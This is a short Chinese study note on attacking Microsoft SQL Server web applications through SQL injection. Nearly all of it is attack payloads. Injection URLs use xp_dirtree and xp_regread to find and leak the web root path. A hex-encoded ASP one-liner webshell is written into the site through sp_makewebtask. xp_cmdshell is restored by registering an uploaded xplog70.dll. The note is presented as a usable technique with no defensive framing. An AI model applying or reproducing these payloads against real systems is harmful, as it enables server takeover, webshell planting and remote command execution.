1. 程式人生 > >【安全牛學習筆記】MSsqlL注入取得網站路徑最好的方法

【安全牛學習筆記】MSsqlL注入取得網站路徑最好的方法

假設我們在test裡有兩個資料夾test1和test2在test1裡又有test3
結果顯示
subdirectory depth
test1 1
test3 2
test2 1
哈哈發現沒有那個depth就是目錄的級數
ok了,知道怎麼辦了吧
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
只要加上id=1,就是第一級目錄 。
通過登錄檔讀網站路徑:
1.;create table [dbo].[cyfd] ([gyfd][char](255));
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 臨時表 (臨時欄位名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
3.and 1=(select count(*) from 臨時表 where 臨時欄位名>1)
and 1=(select count(*) from cyfd where gyfd > 1)
這樣IE報錯,就把剛才插進去的Web路徑的值報出來了
4.drop table cyfd;-- 刪除臨時表
獲得webshell方法:
1.create table cmd (a image)-- \**cmd是建立的臨時表
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表裡插入一句話
3.EXECUTE sp_makewebtask @outputfile = 'WEB絕對路徑\匯出的檔名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB絕對路徑\匯出的檔名.asp',@query = 'SELECT 你的欄位 FROM 你建的臨時表'
4.drop table cmd;-- 刪除cmd臨時表
恢復xp_cmdshell方法之一:
我很快就把xplog70.dll檔案給他上傳到e:\inetpub\wwwroot目錄下了,來吧,我們來給他恢復,提交:
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢復,支援絕對路徑的恢復哦。:)